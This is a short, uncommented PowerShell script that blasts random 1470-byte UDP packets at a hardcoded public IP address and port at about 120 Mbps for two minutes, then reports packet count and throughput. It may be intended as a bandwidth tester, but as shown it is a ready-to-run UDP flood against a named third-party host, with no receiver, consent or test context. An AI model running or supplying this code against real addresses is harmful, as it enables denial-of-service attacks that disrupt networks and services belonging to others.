$i='125.244.62.133';$p=29015;$d=120;$m=120
$e=[Net.IPEndPoint]::new([Net.IPAddress]::Parse($i),$p)
$c=[Net.Sockets.UdpClient]::new();$c.Client.SendBufferSize=10485760
$b=[byte[]]::new(1470);[Random]::new().NextBytes($b)
$ppb=[math]::Floor(($m*1e6/8)/1470/10);$n=0
$sw=[Diagnostics.Stopwatch]::StartNew();$end=[DateTime]::Now.AddSeconds($d)
while([DateTime]::Now -lt $end){
$s=Get-Date
1..$ppb|%{[void]$c.Send($b,1470,$e);$n++}
$el=((Get-Date)-$s).TotalMilliseconds
if($el -lt 100){Start-Sleep -Milliseconds (100-$el)}
}
$sw.Stop()
"{0} p, {1:N2}s, {2:N2} Mbps" -f $n,$sw.Elapsed.TotalSeconds,(($n*1470*8)/($sw.Elapsed.TotalSeconds*1e6))
$c.Close()